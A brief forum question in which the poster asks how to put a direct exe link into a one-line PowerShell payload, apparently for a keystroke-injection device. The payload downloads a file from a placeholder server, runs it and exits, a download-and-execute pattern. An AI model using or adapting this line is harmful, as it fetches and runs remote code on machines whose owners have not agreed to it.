Thanks for your reply. If my exe file direct link is for example http://www.mylink.com/file.exe . How should i write it in this line ?
STRING $down = New-Object System.Net.WebClient;$file = 'RUN.ps1'; $url = 'http://<SERVER>/'+$file; $down.DownloadFile($url,$file);powershell .\$file;Exit;
Thanks